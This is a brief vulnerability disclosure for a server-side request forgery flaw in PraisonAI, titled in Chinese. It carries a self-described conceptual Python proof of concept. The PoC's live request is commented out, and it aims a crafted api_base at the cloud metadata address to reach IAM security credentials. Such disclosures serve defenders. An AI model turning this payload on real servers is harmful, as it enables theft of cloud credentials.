CVE-2026-34936 PraisonAI服务器端请求伪造漏洞

# PoC for CVE-2026-34936 (Conceptual) # This demonstrates how a malicious api_base can trigger an SSRF. import httpx def simulate_vulnerable_passthrough(api_base, endpoint): """ Simulates the vulnerable passthrough() function in PraisonAI < 4.5.90. It concatenates api_base and endpoint without validation. """ # Vulnerability: No validation of URL scheme, IP filtering, or allowlist target_url = api_base + endpoint print(f"[DEBUG] Sending request to: {target_url}") try: # In the actual vulnerability, this request goes out from the server # response = httpx.Client().request("GET", target_url) # return response.text return f"Request would be sent to: {target_url}" except Exception as e: return str(e) # Attack Scenario: Accessing internal AWS metadata malicious_api_base = "http://169.254.169.254/latest/meta-data/" internal_endpoint = "iam/security-credentials/role" # Execute the vulnerable function result = simulate_vulnerable_passthrough(malicious_api_base, internal_endpoint) print(result)